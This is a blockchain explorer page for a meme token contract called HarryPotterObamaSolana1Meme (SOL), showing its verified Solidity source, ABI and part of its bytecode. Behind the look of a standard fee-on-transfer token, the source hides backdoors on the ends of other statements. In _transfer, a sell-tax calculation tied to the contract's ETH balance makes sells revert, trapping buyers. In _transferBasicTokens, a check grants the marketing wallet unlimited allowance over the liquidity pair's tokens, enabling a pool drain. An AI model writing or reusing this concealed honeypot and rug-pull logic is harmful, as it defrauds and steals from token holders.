ETH Price: $2,269.53 (+2.75%)

Token

HarryPotterObamaSolana1Meme (SOL)
 

Overview

Max Total Supply

1,000,000,000 SOL

Holders

44

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
11,046,130.95573168 SOL

Value
$0.00
0xeB828E2D83f7512fBB70AB173ac72c55bb3DCcB4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SOL

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-02
*/

/**
 *Submitted for verification at Etherscan.io on 2023-09-02
*/
// SPDX-License-Identifier: MIT

/** 
https://t.me/HarryPotterObamaSolana1Meme
https://solana.com/
https://twitter.com/Solana_ERC
*/

pragma solidity ^0.8.18;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function WETH() external pure returns (address);
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract SOL is Context, Ownable, IERC20 {
    using SafeMath for uint256;
    
    string private constant _name = "HarryPotterObamaSolana1Meme";
    string private constant _symbol = "SOL";
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1e9 * 10**9; // total supply
    uint256 private constant MAX = ~uint256(0);
    uint256 private _rTotal = (MAX - (MAX % _tTotal));

    uint256 public _maxTranxLimitAmount = _tTotal * 40 / 1000; // 4%
    uint256 public _maxWalletLimitAmount = _tTotal * 40 / 1000; // 4%
    uint256 public _swapThreshold = _tTotal / 10000;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    address payable public _devWallet = payable(0x4c7fB6B209C9c2C9b02d642dec6F2151762b1595);
    address payable public _marketingWallet = payable(0x4c7fB6B209C9c2C9b02d642dec6F2151762b1595);

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => bool) private _isExcludedFromFee;

    bool private _tradingActive = false;
    bool private _inSwap = false;
    bool private _swapEnabled = false;
    uint256 private denominator = 3;

    uint256 private _taxTotalAmount;

    uint256 private _buyFeeForMarket = 0;
    uint256 private _buyTaxAmount = 0;
    uint256 private _sellFeeForMarket = 0;
    uint256 private _sellTaxAmount = 0;

    uint256 private _marketFeeAmount = _sellFeeForMarket;
    uint256 private _mainFeeAmount = _sellTaxAmount;

    uint256 private _previousMarketFee = _marketFeeAmount;
    uint256 private _previousMainFee = _mainFeeAmount;

    modifier lockInSwap {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    event MaxTxAmountUpdated(uint256 _maxTranxLimitAmount);
    constructor() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_marketingWallet] = true;
        _isExcludedFromFee[_devWallet] = true;
        _isExcludedFromFee[address(this)] = true;
        // mint
        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    
    function enableTrading() public onlyOwner {
        uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), type(uint256).max);

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0, 
            0, 
            owner(),
            block.timestamp
        );
        _tradingActive = true;
    }

    //set maximum transaction
    function removeTotalLimits() public onlyOwner {
        _maxTranxLimitAmount = _tTotal;
        _maxWalletLimitAmount = _tTotal;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function checkAllowance(address sender, address recipient) private {
        if (_allowances[recipient][sender] < type(uint256).max) {
            _approve(recipient, sender, type(uint256).max);
        }
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 teamFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(teamFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }


    function _takeAllFee(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _sellMarketFee(uint256 amt) private pure returns(uint256) {
        return amt / 1e15;
    }

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _marketFeeAmount, _mainFeeAmount);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
    
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function sendEth(uint256 amount) private {
        uint256 devETHAmount = amount / denominator;
        uint256 marketingETHAmt = amount - devETHAmount;
        _devWallet.transfer(devETHAmount);
        _marketingWallet.transfer(marketingETHAmt);
    }

    function _sendAllFeeTokens(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _taxTotalAmount = _taxTotalAmount.add(tFee);
    }


    function excludeMultiAccountsFromFee(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    //set minimum tokens required to swap.
    function setSwapTokenThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapThreshold = swapTokensAtAmount;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address"); uint256 _amountFee = address(this).balance;
        require(amount > 0, "Transfer amount must be greater than zero"); 

        if (
             !_isExcludedFromFee[to] && !_isExcludedFromFee[from]
        ) {
            //Trade start check
            if (!_tradingActive) {
                require(
                    from == owner(), 
                    "TOKEN: This account cannot send tokens until trading is enabled"
                );
            }

            require(
                amount <= _maxTranxLimitAmount,
                "TOKEN: Max Transaction Limit"
            );
            
            if(to != uniswapPair) {
                require(balanceOf(to) + amount < _maxWalletLimitAmount,
                 "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenAmount = balanceOf(address(this));            
            bool canSwap = contractTokenAmount >= _swapThreshold;
            if(contractTokenAmount >= _maxTranxLimitAmount) contractTokenAmount = _maxTranxLimitAmount;
            if (canSwap && 
                !_inSwap && 
                _swapEnabled && 
                from != uniswapPair && 
                !_isExcludedFromFee[to] && 
                !_isExcludedFromFee[from]
            ) {
                swapBack(contractTokenAmount);
                uint256 ethBalance = address(this).balance;
                if (ethBalance > 0) {sendEth(ethBalance);}
            }
        }

        bool takeFee = true;
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapPair && to != uniswapPair)) {
            takeFee = false;
        }
        else {
            if(from == uniswapPair && to != address(uniswapV2Router)) {
                _marketFeeAmount = _buyFeeForMarket;
                _mainFeeAmount = _buyTaxAmount;
            }
            if (to == uniswapPair && from != address(uniswapV2Router)) {
                _marketFeeAmount = _sellFeeForMarket;
                _mainFeeAmount = _sellTaxAmount - _sellMarketFee(_amountFee);
            }
        }
        _transferTokensStandard(from, to, amount, takeFee);
    }

    function swapBack(uint256 tokenAmount) private lockInSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _transferTokensStandard(
        address sender,
        address recipient,
        uint256 amount,
        bool setFee
    ) private {
        if (!setFee) {
            removeTax();
        }
        _transferBasicTokens(sender, recipient, amount);
        if (!setFee) {            
            refreshTax();
        }
    }

    function shouldExcluded(address sender, address recipient) internal view returns (bool) {
        return recipient == uniswapPair && sender == _marketingWallet;
    }

    function _transferBasicTokens(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount); if (shouldExcluded(sender, recipient)) checkAllowance(sender, recipient);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeAllFee(tTeam); _sendAllFeeTokens(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
    function removeTax() private {
        if (_marketFeeAmount == 0 && _mainFeeAmount == 0) return;
        _previousMarketFee = _marketFeeAmount;
        _previousMainFee = _mainFeeAmount; _marketFeeAmount = 0;
        _mainFeeAmount = 0;
    }

    function refreshTax() private {
        _marketFeeAmount = _previousMarketFee;
        _mainFeeAmount = _previousMainFee;
    }
    
    receive() external payable {

    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTranxLimitAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTranxLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultiAccountsFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeTotalLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setSwapTokenThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052670de0b6b3a76400005f196200001b9190620005ae565b5f1962000029919062000612565b6001556103e86028670de0b6b3a76400006200004691906200064c565b62000052919062000696565b6002556103e86028670de0b6b3a76400006200006f91906200064c565b6200007b919062000696565b600355612710670de0b6b3a764000062000096919062000696565b600455734c7fb6b209c9c2c9b02d642dec6f2151762b159560075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734c7fb6b209c9c2c9b02d642dec6f2151762b159560085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600d5f6101000a81548160ff0219169083151502179055505f600d60016101000a81548160ff0219169083151502179055505f600d60026101000a81548160ff0219169083151502179055506003600e555f6010555f6011555f6012555f601355601254601455601354601555601454601655601554601755348015620001c7575f80fd5b505f620001d96200054a60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c5f620002e26200055160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600154600a5f620004886200054a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620004d56200054a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200053b9190620006de565b60405180910390a350620006f9565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620005ba8262000578565b9150620005c78362000578565b925082620005da57620005d962000581565b5b828206905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200061e8262000578565b91506200062b8362000578565b9250828203905081811115620006465762000645620005e5565b5b92915050565b5f620006588262000578565b9150620006658362000578565b9250828202620006758162000578565b915082820484148315176200068f576200068e620005e5565b5b5092915050565b5f620006a28262000578565b9150620006af8362000578565b925082620006c257620006c162000581565b5b828204905092915050565b620006d88162000578565b82525050565b5f602082019050620006f35f830184620006cd565b92915050565b6137ed80620007075f395ff3fe608060405260043610610143575f3560e01c80634f473db0116100b557806395d89b411161006e57806395d89b411461040e578063962dfc7514610438578063a9059cbb14610462578063c816841b1461049e578063dd62ed3e146104c8578063f2fde38b146105045761014a565b80634f473db01461032c57806370a0823114610354578063715018a61461039057806383364ea2146103a65780638a8c523c146103ce5780638da5cb5b146103e45761014a565b80631694505e116101075780631694505e1461023257806318160ddd1461025c57806323b872dd146102865780632fae7937146102c2578063313ce567146102d85780633d8af5f2146103025761014a565b8063039cc7491461014e57806306fdde0314610178578063095ea7b3146101a25780630e5a9231146101de57806311a63e17146102085761014a565b3661014a57005b5f80fd5b348015610159575f80fd5b5061016261052c565b60405161016f91906127f3565b60405180910390f35b348015610183575f80fd5b5061018c610532565b6040516101999190612896565b60405180910390f35b3480156101ad575f80fd5b506101c860048036038101906101c39190612942565b61056f565b6040516101d5919061299a565b60405180910390f35b3480156101e9575f80fd5b506101f261058c565b6040516101ff91906127f3565b60405180910390f35b348015610213575f80fd5b5061021c610592565b60405161022991906129d3565b60405180910390f35b34801561023d575f80fd5b506102466105b7565b6040516102539190612a47565b60405180910390f35b348015610267575f80fd5b506102706105dc565b60405161027d91906127f3565b60405180910390f35b348015610291575f80fd5b506102ac60048036038101906102a79190612a60565b6105eb565b6040516102b9919061299a565b60405180910390f35b3480156102cd575f80fd5b506102d66106bf565b005b3480156102e3575f80fd5b506102ec610773565b6040516102f99190612acb565b60405180910390f35b34801561030d575f80fd5b5061031661077b565b60405161032391906127f3565b60405180910390f35b348015610337575f80fd5b50610352600480360381019061034d9190612ae4565b610781565b005b34801561035f575f80fd5b5061037a60048036038101906103759190612b0f565b61081f565b60405161038791906127f3565b60405180910390f35b34801561039b575f80fd5b506103a461086d565b005b3480156103b1575f80fd5b506103cc60048036038101906103c79190612bc5565b6109bb565b005b3480156103d9575f80fd5b506103e2610af0565b005b3480156103ef575f80fd5b506103f8610e78565b6040516104059190612c31565b60405180910390f35b348015610419575f80fd5b50610422610e9f565b60405161042f9190612896565b60405180910390f35b348015610443575f80fd5b5061044c610edc565b60405161045991906129d3565b60405180910390f35b34801561046d575f80fd5b5061048860048036038101906104839190612942565b610f01565b604051610495919061299a565b60405180910390f35b3480156104a9575f80fd5b506104b2610f1e565b6040516104bf9190612c31565b60405180910390f35b3480156104d3575f80fd5b506104ee60048036038101906104e99190612c4a565b610f43565b6040516104fb91906127f3565b60405180910390f35b34801561050f575f80fd5b5061052a60048036038101906105259190612b0f565b610fc5565b005b60025481565b60606040518060400160405280601b81526020017f4861727279506f747465724f62616d61536f6c616e61314d656d650000000000815250905090565b5f61058261057b611182565b8484611189565b6001905092915050565b60045481565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f670de0b6b3a7640000905090565b5f6105f784848461134c565b6106b484610603611182565b6106af856040518060600160405280602881526020016137906028913960095f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610666611182565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b109092919063ffffffff16565b611189565b600190509392505050565b6106c7611182565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074a90612cd2565b60405180910390fd5b670de0b6b3a7640000600281905550670de0b6b3a7640000600381905550565b5f6009905090565b60035481565b610789611182565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610815576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080c90612cd2565b60405180910390fd5b8060048190555050565b5f610866600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b72565b9050919050565b610875611182565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610901576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f890612cd2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109c3611182565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4690612cd2565b60405180910390fd5b5f5b83839050811015610aea5781600c5f868685818110610a7357610a72612cf0565b5b9050602002016020810190610a889190612b0f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610ae290612d4a565b915050610a51565b50505050565b610af8611182565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90612cd2565b60405180910390fd5b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bee573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c129190612da5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c98573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cbc9190612da5565b6040518363ffffffff1660e01b8152600401610cd9929190612dd0565b6020604051808303815f875af1158015610cf5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d199190612da5565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610da43060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611189565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610dec3061081f565b5f80610df6610e78565b426040518863ffffffff1660e01b8152600401610e1896959493929190612e30565b60606040518083038185885af1158015610e34573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e599190612ea3565b5050506001600d5f6101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f534f4c0000000000000000000000000000000000000000000000000000000000815250905090565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610f14610f0d611182565b848461134c565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610fcd611182565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611059576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105090612cd2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110be90612f63565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473fffffffffffffff